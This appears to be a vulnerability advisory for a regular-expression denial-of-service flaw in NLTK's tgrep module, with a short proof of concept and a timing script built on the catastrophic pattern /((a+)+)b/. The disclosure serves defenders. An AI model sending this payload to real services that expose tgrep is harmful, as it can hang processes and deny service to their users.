Description

NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions

Summary

The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code

nltk/tgrep.py — _tgrep_node_action() (around line 320)

When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:

def _tgrep_node_action(_s, _l, tokens):
    ...
    elif tokens[0].startswith("/"):
        assert tokens[0].endswith("/")
        node_lit = tokens[0][1:-1]
        return (
            lambda r: lambda n, m=None, l=None: r.search(
                _tgrep_node_literal_value(n)...
Show more

The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.

Proof of Concept

import nltk
from nltk.tgrep import tgrep_positions

# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree])   # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

import nltk
from nltk.tgrep import tgrep_positions
import time

def test_n(n):
    tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
    pattern = r"/((a+)+)b/"
    start = time.perf_counter()...
Show more

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.

Impact

In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

Remediation

This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

Credit

Tool: Kira by Offgrid Security

Mitigation

Aliases

References